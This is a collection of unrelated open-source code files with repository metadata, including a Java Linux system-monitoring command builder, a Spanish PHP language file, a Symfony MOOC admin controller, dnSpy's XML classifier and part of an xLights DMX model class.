(host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -an | " + cmdArray[EGREP][1] + " -ie \"tcp.+LAST_ACK\" | " + cmdArray[WC][1] + " -l | " + cmdArray[AWK][1] + " '{ print $1 }'"; } return command; } public String getTCPSTATLISTENCommand(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -an | " + cmdArray[EGREP][1] + " -ie \"tcp.+LISTEN\" | " + cmdArray[WC][1] + " -l | " + cmdArray[AWK][1] + " '{ print $1 }'"; } return command; } public String getTCPSTATCLOSINGCommand(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -an | " + cmdArray[EGREP][1] + " -ie \"tcp.+CLOSING\" | " + cmdArray[WC][1] + " -l | " + cmdArray[AWK][1] + " '{ print $1 }'"; } return command; } public String getTCPSTATUNKNOWNCommand(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -an | " + cmdArray[EGREP][1] + " -ie \"tcp.+UNKNOWN\" | " + cmdArray[WC][1] + " -l | " + cmdArray[AWK][1] + " '{ print $1 }'"; } return command; } // Generic public String getNUMOFUSERSCommand(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[WHO][1] + " | " + cmdArray[WC][1] + " -l | " + cmdArray[AWK][1] + " '{ print $1 }'"; } return command; } public String getNUMOFPROCSCommand(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[PS][1] + " -e | " + cmdArray[WC][1] + " -l | " + cmdArray[AWK][1] + " '{ print $1 }'"; } return command; } // PS public String getPS1CPUPIDCommand()// usr nice sys idle { if (host.getSysinfo().contains(OS)) { command = cmdArray[HEAD][1] + " -1 " + psCPUFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $1 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getPS1CPUCommand()// usr nice sys idle { if (host.getSysinfo().contains(OS)) { command = cmdArray[HEAD][1] + " -1 " + psCPUFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $2 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getPS2CPUPIDCommand()// usr nice sys idle { if (host.getSysinfo().contains(OS)) { command = cmdArray[HEAD][1] + " -2 " + psCPUFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $1 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getPS2CPUCommand()// usr nice sys idle { if (host.getSysinfo().contains(OS)) { command = cmdArray[HEAD][1] + " -2 " + psCPUFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $2 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getPS3CPUPIDCommand()// usr nice sys idle { if (host.getSysinfo().contains(OS)) { command = cmdArray[HEAD][1] + " -3 " + psCPUFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $1 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getPS3CPUCommand()// usr nice sys idle { if (host.getSysinfo().contains(OS)) { command = cmdArray[HEAD][1] + " -3 " + psCPUFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $2 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getPS1MEMPIDCommand()// usr nice sys idle {//head -2 rontmp1 | tail -1 | awk '{ print $2 }' if (host.getSysinfo().contains(OS)) { command = cmdArray[HEAD][1] + " -1 " + psMEMFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $1 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getPS1MEMCommand()// usr nice sys idle {//head -2 rontmp1 | tail -1 | awk '{ print $2 }' if (host.getSysinfo().contains(OS)) { command = cmdArray[HEAD][1] + " -1 " + psMEMFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $2 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getPS2MEMPIDCommand()// usr nice sys idle {//head -2 rontmp1 | tail -1 | awk '{ print $2 }' if (host.getSysinfo().contains(OS)) { command = cmdArray[HEAD][1] + " -2 " + psMEMFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $1 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getPS2MEMCommand()// usr nice sys idle {//head -2 rontmp1 | tail -1 | awk '{ print $2 }' if (host.getSysinfo().contains(OS)) { command = cmdArray[HEAD][1] + " -2 " + psMEMFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $2 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getPS3MEMPIDCommand()// usr nice sys idle {//head -2 rontmp1 | tail -1 | awk '{ print $2 }' if (host.getSysinfo().contains(OS)) { command = cmdArray[HEAD][1] + " -3 " + psMEMFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $1 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getPS3MEMCommand()// usr nice sys idle {//head -2 rontmp1 | tail -1 | awk '{ print $2 }' if (host.getSysinfo().contains(OS)) { command = cmdArray[HEAD][1] + " -3 " + psMEMFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $2 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String[][] getCommandArray() { return cmdArray; } }
ron-from-nl/DataCenterManager
src/DCMCommandLibraryLinux.java
Java
gpl-3.0
37,200
<? //________________________________________________________________________________________________________ // // Fichero de idiomas php: restaurarsoftincremental_esp.php (Comandos) // Idioma: Español //________________________________________________________________________________________________________ $TbMsg=array(); $TbMsg[0]='Centros'; $TbMsg[1]='Grupo de aulas'; $TbMsg[2]='Aulas'; $TbMsg[3]='Grupo de ordenadores'; $TbMsg[4]='Ordenadores'; $TbMsg[5]='Restaurar Software Incremental <br> (experimental)'; $TbMsg[6]='Ámbito'; $TbMsg[7]='Datos a suministrar'; $TbMsg[8]='Par'; $TbMsg[9]='Repositorio'; $TbMsg[10]='Imagen'; $TbMsg[11]='Opciones Adicionales'; $TbMsg[12]='Desconocido'; $TbMsg[13]='Caché'; $TbMsg[14]='Ámbito'; $TbMsg[15]='Ordenadores'; $TbMsg[16]='Desde'; $TbMsg[17]=''; $TbMsg[18]="DESAGRUPAR SEGÚN VALORES DISTINTOS DE:"; $TbMsg[19]="Datos a suministrar"; // Cabeceras de tabla de configuración $TbMsg[20]='Partición'; $TbMsg[21]='S.O. Instalado'; $TbMsg[22]='Tamaño'; $TbMsg[23]='Datos de configuration'; $TbMsg[24]='Tipo'; $TbMsg[25]='Imagen'; $TbMsg[26]='Perfil Software'; $TbMsg[27]='S.F.'; $TbMsg[28]='Ninguno'; $TbMsg[29]='Desconocido'; // Desagrupamiento $TbMsg[30]='Sistema de Ficheros'; $TbMsg[31]='Nombre del S.O.'; $TbMsg[32]='Tamaño de partición'; $TbMsg[33]='Nombre de la Imagen '; $TbMsg[34]='Perfil software'; // OPciones adicionales $TbMsg[35]='Borrar la Partición Previamente'; $TbMsg[36]='Copiar Imagen en cache'; $TbMsg[37]='Borrarla previamente de la cache'; $TbMsg[38]='Software Incremental'; $TbMsg[39]='No borrar archivos en destino'; ?>
DreamaerD/Opengnsys
admin/WebConsole/idiomas/php/esp/comandos/restaurarsoftincremental_esp.php
PHP
gpl-3.0
1,652
<?php namespace Claroline\CoreBundle\Controller\Mooc; use Symfony\Component\HttpFoundation\Request; use Symfony\Bundle\FrameworkBundle\Controller\Controller; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Method; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Template; use Sensio\Bundle\FrameworkExtraBundle\Configuration\ParamConverter; use Claroline\CoreBundle\Entity\Mooc\MoocAccessConstraints; use Claroline\CoreBundle\Form\Mooc\MoocAccessConstraintsType; use JMS\SecurityExtraBundle\Annotation\Secure; /** * Mooc\MoocAccessConstraints controller. */ class MoocAccessConstraintsController extends Controller { /** * Lists all Mooc\MoocAccessConstraints entities. * * @Route("/", name="admin_parameters_mooc_accessconstraints") * @Method("GET") * @Template() * @Secure(roles="ROLE_WS_CREATOR") */ public function indexAction() { $em = $this->getDoctrine()->getManager(); $entities = $em->getRepository('ClarolineCoreBundle:Mooc\MoocAccessConstraints')->findAll(); $forms = array(); foreach( $entities as $entity ) { $deleteForm = $this->createDeleteForm( $entity->getId()); $forms[] = $deleteForm->createView(); } return array( 'entities' => $entities, 'forms' => $forms ); } /** * Creates a new Mooc\MoocAccessConstraints entity. * * @Route("/", name="admin_parameters_mooc_accessconstraints_create") * @Method("POST") * @Template("ClarolineCoreBundle:Mooc\MoocAccessConstraints:new.html.twig") * @Secure(roles="ROLE_WS_CREATOR") */ public function createAction(Request $request) { $entity = new MoocAccessConstraints(); $form = $this->createCreateForm( $entity ); $form->handleRequest($request); if ($form->isValid()) { $em = $this->getDoctrine()->getManager(); $em->persist($entity); $em->flush(); return $this->redirect($this->generateUrl('admin_parameters_mooc_accessconstraints', array('id' => $entity->getId()))); } return array( 'entity' => $entity, 'form' => $form->createView(), ); } /** * Creates a form to create a Mooc\MoocAccessConstraints entity. * * @param MoocAccessConstraints $entity The entity * * @return \Symfony\Component\Form\Form The form */ private function createCreateForm( MoocAccessConstraints $entity) { $form = $this->createForm(new MoocAccessConstraintsType(), $entity, array( 'action' => $this->generateUrl('admin_parameters_mooc_accessconstraints_create'), 'method' => 'POST', )); $form->add('save', 'submit', array('label' => 'Create', 'attr' => array('class' => 'hide'))); return $form; } /** * Displays a form to create a new Mooc\MoocAccessConstraints entity. * * @Route("/new", name="admin_parameters_mooc_accessconstraints_new") * @Method("GET") * @Template() * @Secure(roles="ROLE_WS_CREATOR") */ public function newAction() { $entity = new MoocAccessConstraints(); $form = $this->createCreateForm( $entity ); return array( 'entity' => $entity, 'form' => $form->createView(), ); } /** * Displays a form to edit an existing Mooc\MoocAccessConstraints entity. * * @Route("/{id}/edit", name="admin_parameters_mooc_accessconstraints_edit") * @Method("GET") * @Template() * @Secure(roles="ROLE_WS_CREATOR") */ public function editAction( $id ) { $em = $this->getDoctrine()->getManager(); $entity = $em->getRepository('ClarolineCoreBundle:Mooc\MoocAccessConstraints')->find($id); if (!$entity) { throw $this->createNotFoundException('Unable to find Mooc\MoocAccessConstraints entity.'); } $editForm = $this->createEditForm($entity); $deleteForm = $this->createDeleteForm($id); return array( 'entity' => $entity, 'edit_form' => $editForm->createView(), 'delete_form' => $deleteForm->createView(), ); } /** * Creates a form to edit a Mooc\MoocAccessConstraints entity. * * @param MoocAccessConstraints $entity The entity * @return \Symfony\Component\Form\Form The form */ private function createEditForm(MoocAccessConstraints $entity) { $form = $this->createForm(new MoocAccessConstraintsType(), $entity, array( 'action' => $this->generateUrl('admin_parameters_mooc_accessconstraints_update', array('id' => $entity->getId())), 'method' => 'PUT', )); $form->add('save', 'submit', array('label' => 'Update', 'attr' => array('class' => 'hide'))); return $form; } /** * Edits an existing Mooc\MoocAccessConstraints entity. * * @Route("/{id}", name="admin_parameters_mooc_accessconstraints_update") * @Method("PUT") * @Template("ClarolineCoreBundle:Mooc\MoocAccessConstraints:edit.html.twig") * @Secure(roles="ROLE_WS_CREATOR") */ public function updateAction(Request $request, $id) { $em = $this->getDoctrine()->getManager(); $entity = $em->getRepository('ClarolineCoreBundle:Mooc\MoocAccessConstraints')->find($id); if (!$entity) { throw $this->createNotFoundException('Unable to find Mooc\MoocAccessConstraints entity.'); } $deleteForm = $this->createDeleteForm( $id ); $editForm = $this->createEditForm( $entity ); $editForm->handleRequest($request); if ($editForm->isValid()) { foreach ( $entity->getMoocs() as $mooc ) { foreach ( $mooc->getMoocSessions() as $session ) { //TODO By the listener $this->get('orange.search.indexer_todo_manager') ->toIndex($session); } } $em->flush(); return $this->redirect($this->generateUrl('admin_parameters_mooc_accessconstraints', array('id' => $id))); } return array( 'entity' => $entity, 'edit_form' => $editForm->createView(), 'delete_form' => $deleteForm->createView(), ); } /** * Deletes a Mooc\MoocAccessConstraints entity. * * @Route("/{id}", name="admin_parameters_mooc_accessconstraints_delete") * @Method("DELETE") * @Secure(roles="ROLE_WS_CREATOR") */ public function deleteAction(Request $request, $id) { $form = $this->createDeleteForm($id); $form->handleRequest($request); if ($form->isValid()) { $em = $this->getDoctrine()->getManager(); $entity = $em->getRepository('ClarolineCoreBundle:Mooc\MoocAccessConstraints')->find($id); if (!$entity) { throw $this->createNotFoundException('Unable to find Mooc\MoocAccessConstraints entity.'); } $em->remove($entity); $em->flush(); } return $this->redirect($this->generateUrl('admin_parameters_mooc_accessconstraints')); } /** * Creates a form to delete a Mooc\MoocAccessConstraints entity by id. * * @param mixed $id The entity id * * @return \Symfony\Component\Form\Form The form */ private function createDeleteForm($id) { return $this->createFormBuilder() ->setAction($this->generateUrl('admin_parameters_mooc_accessconstraints_delete', array( 'id' => $id ))) ->setMethod('DELETE') ->add('save', 'submit', array('label' => 'Delete')) ->getForm() ; } }
Solerni-R1-1/CoreBundle
Controller/Mooc/MoocAccessConstraintsController.php
PHP
gpl-3.0
7,982
package br.com.hebertmorais.movierating; import android.app.Application; import android.test.ApplicationTestCase; /** * <a href="http://d.android.com/tools/testing/testing_android.html">Testing Fundamentals</a> */ public class ApplicationTest extends ApplicationTestCase<Application> { public ApplicationTest() { super(Application.class); } }
hebertmorais/ZMovieRating
app/src/androidTest/java/br/com/hebertmorais/movierating/ApplicationTest.java
Java
gpl-3.0
362
package offeneBibel.parser; public class ObParallelPassageNode extends ObAstNode { private String m_book; private int m_chapter; private int m_startVerse; private int m_stopVerse; public ObParallelPassageNode(String book, int chapter, int verse) { super(NodeType.parallelPassage); m_book = BookNameHelper.getInstance().getUnifiedBookNameForString(book); m_chapter = chapter; m_startVerse = verse; m_stopVerse = -1; } public ObParallelPassageNode(String book, int chapter, int startVerse, int stopVerse) { super(NodeType.parallelPassage); m_book = BookNameHelper.getInstance().getUnifiedBookNameForString(book); m_chapter = chapter; m_startVerse = startVerse; m_stopVerse = stopVerse; } public String getOsisBookId() { return m_book; } public int getChapter() { return m_chapter; } public int getStartVerse() { return m_startVerse; } /** * Stop verse. Returns -1 if no stop verse was set. * @return */ public int getStopVerse() { return m_stopVerse; } }
freie-bibel/free-offene-bibel-converter
src/main/java/offeneBibel/parser/ObParallelPassageNode.java
Java
gpl-3.0
1,155
/* Copyright (C) 2014-2016 de4dot@gmail.com This file is part of dnSpy dnSpy is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. dnSpy is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with dnSpy. If not, see <http://www.gnu.org/licenses/>. */ //TODO: CDataSection, Keyword, ProcessingInstruction using System; using System.Diagnostics; using Microsoft.VisualStudio.Text; namespace dnSpy.Text.Tagging.Xml { enum XmlKind { /// <summary> /// Eg. &lt; or &amp; /// </summary> EntityReference, /// <summary> /// Text inside of elements /// </summary> Text, /// <summary> /// Text inside of elements that is pure whitespace /// </summary> TextWhitespace, /// <summary> /// Delimiter, eg. > /// </summary> Delimiter, /// <summary> /// Comment, eg. <!-- hello --> /// </summary> Comment, /// <summary> /// Whitespace inside of an element which separates attributes, attribute values, etc. /// </summary> ElementWhitespace, /// <summary> /// Name of element /// </summary> ElementName, /// <summary> /// Name of attribute /// </summary> AttributeName, /// <summary> /// Attribute value quote /// </summary> AttributeQuote, /// <summary> /// Attribute value (inside quotes) /// </summary> AttributeValue, /// <summary> /// Attribute value (inside quotes). The first character of the value is { /// </summary> AttributeValueXaml, } struct XmlSpanKind { public Span Span { get; } public XmlKind Kind { get; } public XmlSpanKind(Span span, XmlKind kind) { Span = span; Kind = kind; } } sealed class XmlClassifier { readonly ITextSnapshot snapshot; readonly int snapshotLength; readonly char[] buffer; int bufferLen; int bufferPos; int snapshotPos; State state; int spanStart; const int BUFFER_SIZE = 4096; enum State { // Initial state, look for elements, text Element, // Read element name ElementName, // Read attributes Attribute, // Read = AttributeEquals, // Read attribute quote AttributeQuoteStart, // Read attribute value AttributeValue, // Read attribute quote AttributeQuoteEnd, } public XmlClassifier(ITextSnapshot snapshot) { if (snapshot == null) throw new ArgumentNullException(nameof(snapshot)); this.snapshot = snapshot; snapshotLength = snapshot.Length; buffer = new char[Math.Min(BUFFER_SIZE, snapshot.Length)]; state = State.Element; } public XmlSpanKind? GetNext() { for (;;) { var kind = GetNextCore(); if (kind == null) break; Debug.Assert(spanStart != snapshotPos); if (spanStart == snapshotPos) break; return new XmlSpanKind(Span.FromBounds(spanStart, snapshotPos), kind.Value); } return null; } XmlKind? GetNextCore() { spanStart = snapshotPos; int c, pos; switch (state) { case State.Element: c = NextChar(); if (c < 0) return null; switch ((char)c) { case '<': c = PeekChar(); if (c < 0) return XmlKind.Delimiter; if (c == '/' || c == '?') { // </tag> or <?xml ... ?> SkipChar(); state = State.ElementName; return XmlKind.Delimiter; } if (c != '!') { // <tag> state = State.ElementName; return XmlKind.Delimiter; } SkipChar(); if (PeekChar() != '-') { // Error state = State.ElementName; return XmlKind.Delimiter; } SkipChar(); if (PeekChar() != '-') { // Error state = State.ElementName; return XmlKind.Delimiter; } SkipChar(); ReadComment(); return XmlKind.Comment; case '&': ReadEntityReference(); return XmlKind.EntityReference; default: return ReadWhitespaceOrText(c); } case State.ElementName: c = PeekChar(); if (c < 0) return null; if (char.IsWhiteSpace((char)c)) { ReadElementWhitespace(); return XmlKind.ElementWhitespace; } if (c == ':') { NextChar(); return XmlKind.Delimiter; } if (c == '<' || c == '>') { // Error state = State.Element; goto case State.Element; } pos = snapshotPos; ReadName(); if (pos == snapshotPos) { NextChar(); return XmlKind.Delimiter; } if (PeekChar() != ':') state = State.Attribute; return XmlKind.ElementName; case State.Attribute: c = PeekChar(); if (c < 0) return null; if (char.IsWhiteSpace((char)c)) { ReadElementWhitespace(); return XmlKind.ElementWhitespace; } if (c == ':') { NextChar(); return XmlKind.Delimiter; } if (c == '/') { SkipChar(); if (PeekChar() == '>') { SkipChar(); state = State.Element; return XmlKind.Delimiter; } return XmlKind.Delimiter; } if (c == '>') { SkipChar(); state = State.Element; return XmlKind.Delimiter; } if (c == '<') { // Error state = State.Element; goto case State.Element; } pos = snapshotPos; ReadName(); if (pos == snapshotPos) { NextChar(); return XmlKind.Delimiter; } if (PeekChar() != ':') state = State.AttributeEquals; return XmlKind.AttributeName; case State.AttributeEquals: c = PeekChar(); if (c < 0) return null; if (char.IsWhiteSpace((char)c)) { ReadElementWhitespace(); return XmlKind.ElementWhitespace; } if (c != '=') { // Error state = State.Attribute; goto case State.Attribute; } SkipChar(); state = State.AttributeQuoteStart; return XmlKind.Delimiter; case State.AttributeQuoteStart: c = PeekChar(); if (c < 0) return null; if (char.IsWhiteSpace((char)c)) { ReadElementWhitespace(); return XmlKind.ElementWhitespace; } if (c != '\'' && c != '"') { // Error state = State.Attribute; goto case State.Attribute; } isDoubleQuote = c == '"'; SkipChar(); state = State.AttributeValue; return XmlKind.AttributeQuote; case State.AttributeValue: c = PeekChar(); if (c == (isDoubleQuote ? '"' : '\'')) { state = State.AttributeQuoteEnd; goto case State.AttributeQuoteEnd; } var firstChar = ReadString(isDoubleQuote); state = State.AttributeQuoteEnd; return firstChar == '{' ? XmlKind.AttributeValueXaml : XmlKind.AttributeValue; case State.AttributeQuoteEnd: c = NextChar(); if (c < 0) return null; Debug.Assert(c == (isDoubleQuote ? '"' : '\'')); state = State.Attribute; return XmlKind.AttributeQuote; default: throw new InvalidOperationException(); } } bool isDoubleQuote; char ReadString(bool isDoubleQuote) { var quoteChar = isDoubleQuote ? '"' : '\''; char firstChar = (char)0; bool firstCharInitd = false; for (;;) { int c = PeekChar(); if (c < 0 || c == quoteChar) break; SkipChar(); if (!firstCharInitd) { firstCharInitd = true; firstChar = (char)c; } } return firstChar; } void ReadName() { int c = PeekChar(); if (c < 0) return; if (!IsNameStartChar((char)c)) return; SkipChar(); for (;;) { c = PeekChar(); if (c < 0) break; if (!IsNameChar((char)c)) break; SkipChar(); } } // https://www.w3.org/TR/REC-xml/#d0e804 bool IsNameStartChar(char c) => //c == ':' || ('A' <= c && c <= 'Z') || c == '_' || ('a' <= c && c <= 'z') || (0xC0 <= c && c <= 0xD6) || (0xD8 <= c && c <= 0xF6) || (0xF8 <= c && c <= 0x02FF) || (0x0370 <= c && c <= 0x037D) || (0x037F <= c && c <= 0x1FFF) || (0x200C <= c && c <= 0x200D) || (0x2070 <= c && c <= 0x218F) || (0x2C00 <= c && c <= 0x2FEF) || (0x3001 <= c && c <= 0xD7FF) || (0xF900 <= c && c <= 0xFDCF) || (0xFDF0 <= c && c <= 0xFFFD);//#x10000-#xEFFFF bool IsNameChar(char c) => IsNameStartChar(c) || c == '-' || c == '.' || ('0' <= c && c <= '9') || c == 0xB7 || (0x0300 <= c && c <= 0x036F) || (0x203F <= c && c <= 0x2040); void ReadElementWhitespace() { for (;;) { int c = PeekChar(); if (c < 0) break; if (!char.IsWhiteSpace((char)c)) break; SkipChar(); } } void ReadComment() { // We've already read <!-- for (;;) { int c = NextChar(); if (c < 0) break; if (c != '-') continue; c = NextChar(); if (c < 0) break; if (c != '-') continue; c = NextChar(); if (c < 0) break; if (c != '>') continue; break; } } XmlKind ReadWhitespaceOrText(int c) { bool isText = !char.IsWhiteSpace((char)c); while ((c = PeekChar()) >= 0) { if (!char.IsWhiteSpace((char)c)) { if (c == '&' || c == '<') break; isText = true; } SkipChar(); } return isText ? XmlKind.Text : XmlKind.TextWhitespace; } void ReadEntityReference() { // We've already read & for (;;) { int c = PeekChar(); if (c < 0) break; if (c == ';') { SkipChar(); break; } if (!char.IsLetterOrDigit((char)c)) break; SkipChar(); } } int NextChar() { if (bufferPos >= bufferLen) { int len = snapshotLength - snapshotPos; if (len == 0) return -1; if (len > buffer.Length) len = buffer.Length; snapshot.CopyTo(snapshotPos, buffer, 0, len); bufferLen = len; bufferPos = 0; } snapshotPos++; return buffer[bufferPos++]; } int PeekChar() { if (bufferPos >= bufferLen) { int len = snapshotLength - snapshotPos; if (len == 0) return -1; if (len > buffer.Length) len = buffer.Length; snapshot.CopyTo(snapshotPos, buffer, 0, len); bufferLen = len; bufferPos = 0; } return buffer[bufferPos]; } void SkipChar() { Debug.Assert(snapshotPos < snapshotLength); Debug.Assert(bufferPos < bufferLen); snapshotPos++; bufferPos++; } } }
MeteorAdminz/dnSpy
dnSpy/dnSpy/Text/Tagging/Xml/XmlClassifier.cs
C#
gpl-3.0
10,423
/*************************************************************** * This source files comes from the xLights project * https://www.xlights.org * https://github.com/smeighan/xLights * See the github commit history for a record of contributing * developers. * Copyright claimed based on commit dates recorded in Github * License: https://github.com/smeighan/xLights/blob/master/License.txt **************************************************************/ #include <wx/propgrid/propgrid.h> #include <wx/propgrid/advprops.h> #include <wx/xml/xml.h> #include <glm/mat4x4.hpp> #include <glm/glm.hpp> #include <glm/gtc/matrix_transform.hpp> #include <glm/gtc/type_ptr.hpp> #include "DmxSkulltronix.h" #include "../../ModelPreview.h" #include "../../xLightsVersion.h" #include "../../xLightsMain.h" #include "../../UtilFunctions.h" DmxSkulltronix::DmxSkulltronix(wxXmlNode *node, const ModelManager &manager, bool zeroBased) : DmxModel(node, manager, zeroBased) { color_ability = this; SetFromXml(node, zeroBased); } DmxSkulltronix::~DmxSkulltronix() { //dtor } class dmxPoint3 { public: float x; float y; float z; dmxPoint3(float x_, float y_, float z_, int cx_, int cy_, float scale_, float pan_angle_, float tilt_angle_, float nod_angle_ = 0.0) : x(x_), y(y_), z(z_) { float pan_angle = wxDegToRad(pan_angle_); float tilt_angle = wxDegToRad(tilt_angle_); float nod_angle = wxDegToRad(nod_angle_); glm::vec4 position = glm::vec4(glm::vec3(x_, y_, z_), 1.0); glm::mat4 rotationMatrixPan = glm::rotate(glm::mat4(1.0f), pan_angle, glm::vec3(0.0f, 1.0f, 0.0f)); glm::mat4 rotationMatrixTilt = glm::rotate(glm::mat4(1.0f), tilt_angle, glm::vec3(0.0f, 0.0f, 1.0f)); glm::mat4 rotationMatrixNod = glm::rotate(glm::mat4(1.0f), nod_angle, glm::vec3(1.0f, 0.0f, 0.0f)); glm::mat4 translateMatrix = glm::translate(glm::mat4(1.0f), glm::vec3((float)cx_, (float)cy_, 0.0f)); glm::mat4 scaleMatrix = glm::scale(glm::mat4(1.0f), glm::vec3(scale_)); glm::vec4 model_position = translateMatrix * rotationMatrixPan * rotationMatrixTilt * rotationMatrixNod * scaleMatrix * position; x = model_position.x; y = model_position.y; } }; class dmxPoint3d { public: float x; float y; float z; dmxPoint3d(float x_, float y_, float z_, float cx_, float cy_, float cz_, float scale_, float pan_angle_, float tilt_angle_, float nod_angle_ = 0.0) : x(x_), y(y_), z(z_) { float pan_angle = wxDegToRad(pan_angle_); float tilt_angle = wxDegToRad(tilt_angle_); float nod_angle = wxDegToRad(nod_angle_); glm::vec4 position = glm::vec4(glm::vec3(x_, y_, z_), 1.0); glm::mat4 rotationMatrixPan = glm::rotate(glm::mat4(1.0f), pan_angle, glm::vec3(0.0f, 1.0f, 0.0f)); glm::mat4 rotationMatrixTilt = glm::rotate(glm::mat4(1.0f), tilt_angle, glm::vec3(0.0f, 0.0f, 1.0f)); glm::mat4 rotationMatrixNod = glm::rotate(glm::mat4(1.0f), nod_angle, glm::vec3(1.0f, 0.0f, 0.0f)); glm::mat4 translateMatrix = glm::translate(glm::mat4(1.0f), glm::vec3(cx_, cy_, cz_)); glm::mat4 scaleMatrix = glm::scale(glm::mat4(1.0f), glm::vec3(scale_)); glm::vec4 model_position = translateMatrix * rotationMatrixPan * rotationMatrixTilt * rotationMatrixNod * scaleMatrix * position; x = model_position.x; y = model_position.y; z = model_position.z; } }; void DmxSkulltronix::AddTypeProperties(wxPropertyGridInterface* grid) { DmxModel::AddTypeProperties(grid); AddPanTiltTypeProperties(grid); wxPGProperty* p = grid->Append(new wxUIntProperty("Pan Min Limit", "DmxPanMinLimit", pan_min_limit)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 2500); p->SetEditor("SpinCtrl"); p = grid->Append(new wxUIntProperty("Pan Max Limit", "DmxPanMaxLimit", pan_max_limit)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 2500); p->SetEditor("SpinCtrl"); p = grid->Append(new wxUIntProperty("Tilt Min Limit", "DmxTiltMinLimit", tilt_min_limit)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 2500); p->SetEditor("SpinCtrl"); p = grid->Append(new wxUIntProperty("Tilt Max Limit", "DmxTiltMaxLimit", tilt_max_limit)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 2500); p->SetEditor("SpinCtrl"); p = grid->Append(new wxUIntProperty("Nod Channel", "DmxNodChannel", nod_channel)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 512); p->SetEditor("SpinCtrl"); p = grid->Append(new wxUIntProperty("Nod Orientation", "DmxNodOrient", nod_orient)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 360); p->SetEditor("SpinCtrl"); p = grid->Append(new wxUIntProperty("Nod Deg of Rot", "DmxNodDegOfRot", nod_deg_of_rot)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 1000); p->SetEditor("SpinCtrl"); p = grid->Append(new wxUIntProperty("Nod Min Limit", "DmxNodMinLimit", nod_min_limit)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 2500); p->SetEditor("SpinCtrl"); p = grid->Append(new wxUIntProperty("Nod Max Limit", "DmxNodMaxLimit", nod_max_limit)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 2500); p->SetEditor("SpinCtrl"); p = grid->Append(new wxUIntProperty("Jaw Channel", "DmxJawChannel", jaw_channel)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 512); p->SetEditor("SpinCtrl"); p = grid->Append(new wxUIntProperty("Jaw Min Limit", "DmxJawMinLimit", jaw_min_limit)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 2500); p->SetEditor("SpinCtrl"); p = grid->Append(new wxUIntProperty("Jaw Max Limit", "DmxJawMaxLimit", jaw_max_limit)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 2500); p->SetEditor("SpinCtrl"); p = grid->Append(new wxUIntProperty("Eye UD Channel", "DmxEyeUDChannel", eye_ud_channel)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 512); p->SetEditor("SpinCtrl"); p = grid->Append(new wxUIntProperty("Eye UD Min Limit", "DmxEyeUDMinLimit", eye_ud_min_limit)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 2500); p->SetEditor("SpinCtrl"); p = grid->Append(new wxUIntProperty("Eye UD Max Limit", "DmxEyeUDMaxLimit", eye_ud_max_limit)); 